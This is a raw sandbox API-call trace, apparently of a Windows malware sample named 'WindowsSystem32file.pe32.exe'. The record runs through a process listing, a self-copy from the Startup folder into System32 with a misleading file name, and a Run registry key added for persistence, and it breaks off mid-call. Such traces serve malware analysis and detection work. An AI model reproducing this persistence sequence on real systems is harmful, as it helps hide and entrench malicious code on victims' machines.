[0217.752] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.752] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0217.752] lstrlenW (lpString="System") returned 6 [0217.752] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0217.753] lstrlenW (lpString="smss.exe") returned 8 [0217.753] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.753] lstrlenW (lpString="csrss.exe") returned 9 [0217.753] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0217.754] lstrlenW (lpString="wininit.exe") returned 11 [0217.754] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.754] lstrlenW (lpString="csrss.exe") returned 9 [0217.754] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0217.755] lstrlenW (lpString="winlogon.exe") returned 12 [0217.755] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0217.755] lstrlenW (lpString="services.exe") returned 12 [0217.755] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0217.756] lstrlenW (lpString="lsass.exe") returned 9 [0217.756] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.756] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0217.756] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.756] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0217.756] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.757] lstrlenW (lpString="svchost.exe") returned 11 [0217.757] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.757] lstrlenW (lpString="svchost.exe") returned 11 [0217.757] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0217.758] lstrlenW (lpString="dwm.exe") returned 7 [0217.758] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.758] lstrlenW (lpString="svchost.exe") returned 11 [0217.758] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.759] lstrlenW (lpString="svchost.exe") returned 11 [0217.759] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.759] lstrlenW (lpString="svchost.exe") returned 11 [0217.759] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.760] lstrlenW (lpString="svchost.exe") returned 11 [0217.760] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.760] lstrlenW (lpString="svchost.exe") returned 11 [0217.760] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.761] lstrlenW (lpString="svchost.exe") returned 11 [0217.761] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.761] lstrlenW (lpString="svchost.exe") returned 11 [0217.761] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.761] lstrlenW (lpString="svchost.exe") returned 11 [0217.762] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.762] lstrlenW (lpString="svchost.exe") returned 11 [0217.762] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.762] lstrlenW (lpString="svchost.exe") returned 11 [0217.762] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0217.763] lstrlenW (lpString="spoolsv.exe") returned 11 [0217.763] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.763] lstrlenW (lpString="svchost.exe") returned 11 [0217.763] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0217.764] lstrlenW (lpString="audiodg.exe") returned 11 [0217.764] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0217.764] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0217.764] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0217.764] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0217.765] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0217.765] lstrlenW (lpString="Memory Compression") returned 18 [0217.765] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0217.765] lstrlenW (lpString="sihost.exe") returned 10 [0217.765] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.766] lstrlenW (lpString="svchost.exe") returned 11 [0217.766] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0217.766] lstrlenW (lpString="taskhostw.exe") returned 13 [0217.766] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0217.767] lstrlenW (lpString="msoia.exe") returned 9 [0217.767] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0217.767] lstrlenW (lpString="explorer.exe") returned 12 [0217.767] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0217.767] lstrlenW (lpString="SearchUI.exe") returned 12 [0217.768] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0217.768] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0217.768] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0217.768] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0217.768] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.769] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0217.769] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0217.769] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0217.769] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0217.770] lstrlenW (lpString="dllhost.exe") returned 11 [0217.770] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0217.770] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0217.770] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 0 [0217.770] CloseHandle (hObject=0x240) returned 1 [0217.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55a290 | out: hHeap=0x540000) returned 1 [0217.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55a878 | out: hHeap=0x540000) returned 1 [0217.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5564b0 | out: hHeap=0x540000) returned 1 [0217.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5565b0 | out: hHeap=0x540000) returned 1 [0217.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x555668 | out: hHeap=0x540000) returned 1 [0217.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x584630 | out: hHeap=0x540000) returned 1 [0217.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x556510 | out: hHeap=0x540000) returned 1 [0217.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x556790 | out: hHeap=0x540000) returned 1 [0217.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57ee38 | out: hHeap=0x540000) returned 1 [0217.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57ea78 | out: hHeap=0x540000) returned 1 [0217.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x556530 | out: hHeap=0x540000) returned 1 [0217.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57ea50 | out: hHeap=0x540000) returned 1 [0217.771] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x586410 [0217.772] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x596418 [0217.772] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x584630 [0217.772] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584630, Size=0x20) returned 0x57eb40 [0217.772] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57eb40, Size=0x40) returned 0x55a638 [0217.772] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x584678 [0217.772] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584678, Size=0x20) returned 0x57ee60 [0217.772] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x584678 [0217.772] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584678, Size=0x20) returned 0x57eb68 [0217.772] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x584630 [0217.772] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584630, Size=0x20) returned 0x57ec08 [0217.773] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ec08, Size=0x40) returned 0x55a1b8 [0217.773] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x596418, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe")) returned 0x59 [0217.773] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x5a6420 [0217.773] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x5b6428 [0217.773] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x584630 [0217.773] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584630, Size=0x20) returned 0x57ee38 [0217.773] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ee38, Size=0x40) returned 0x55a7e8 [0217.773] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x55a7e8, Size=0x80) returned 0x5c6b40 [0217.774] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c6b40, Size=0x100) returned 0x5c7438 [0217.774] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0217.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c7438 | out: hHeap=0x540000) returned 1 [0217.774] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\WindowsSystem32file.pe32.exe", lpDst=0x5a6420, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\WindowsSystem32file.pe32.exe") returned 0x31 [0217.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5b6428 | out: hHeap=0x540000) returned 1 [0217.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a6420 | out: hHeap=0x540000) returned 1 [0217.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x2320020 [0217.889] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x584678 [0217.889] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584678, Size=0x20) returned 0x57eaf0 [0217.889] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x584630 [0217.889] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584630, Size=0x20) returned 0x57ed98 [0217.889] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0217.889] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0217.889] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0217.889] lstrlenW (lpString="kernel32.dll") returned 12 [0217.889] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57eaf0 | out: hHeap=0x540000) returned 1 [0217.889] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0217.889] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57ed98 | out: hHeap=0x540000) returned 1 [0217.889] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0217.889] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\WindowsSystem32file.pe32.exe" (normalized: "c:\\windows\\system32\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0217.890] ReadFile (in: hFile=0x240, lpBuffer=0x2320020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2320020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0217.905] WriteFile (in: hFile=0x244, lpBuffer=0x2320020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2320020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0217.908] ReadFile (in: hFile=0x240, lpBuffer=0x2320020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2320020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0217.908] CloseHandle (hObject=0x244) returned 1 [0217.908] CloseHandle (hObject=0x240) returned 1 [0217.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x584630 [0217.908] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584630, Size=0x20) returned 0x57eb40 [0217.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x584630 [0217.908] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584630, Size=0x20) returned 0x57ea28 [0217.908] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0217.909] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0217.909] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0217.909] lstrlenW (lpString="kernel32.dll") returned 12 [0217.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57ea28 | out: hHeap=0x540000) returned 1 [0217.909] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0217.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57eb40 | out: hHeap=0x540000) returned 1 [0217.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2320020 | out: hHeap=0x540000) returned 1 [0217.913] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x584630 [0217.913] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584630, Size=0x20) returned 0x57ee88 [0217.913] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ee88, Size=0x40) returned 0x55a7e8 [0217.913] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x55a7e8, Size=0x80) returned 0x5c6e70 [0217.914] lstrlenW (lpString="C:\\WINDOWS\\System32\\WindowsSystem32file.pe32.exe") returned 48 [0217.914] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0217.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5c) returned 0x557eb8 [0217.914] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0217.914] RegSetValueExW (in: hKey=0x240, lpValueName="WindowsSystem32file.pe32.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\WindowsSystem32file.pe32.exe", cbData=0x60 | out: lpData="C:\\WINDOWS\\System32\\WindowsSystem32file.pe32.exe") returned 0x0 [0217.915] RegCloseKey (hKey=0x240) returned 0x0 [0217.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557eb8 | out: hHeap=0x540000) returned 1 [0217.915] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0217.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c6e70 | out: hHeap=0x540000) returned 1 [0217.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x5a6420 [0217.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x5b6428 [0217.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5845b8 [0217.915] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5845b8, Size=0x20) returned 0x57ec58 [0217.915] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ec58, Size=0x40) returned 0x55a7e8 [0217.915] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x55a7e8, Size=0x80) returned 0x5c6bc8 [0217.915] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c6bc8, Size=0x100) returned 0x5c7438 [0217.917] lstrlenW (lpString="") returned 0 [0217.917] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0217.917] RtlAllocateHeap 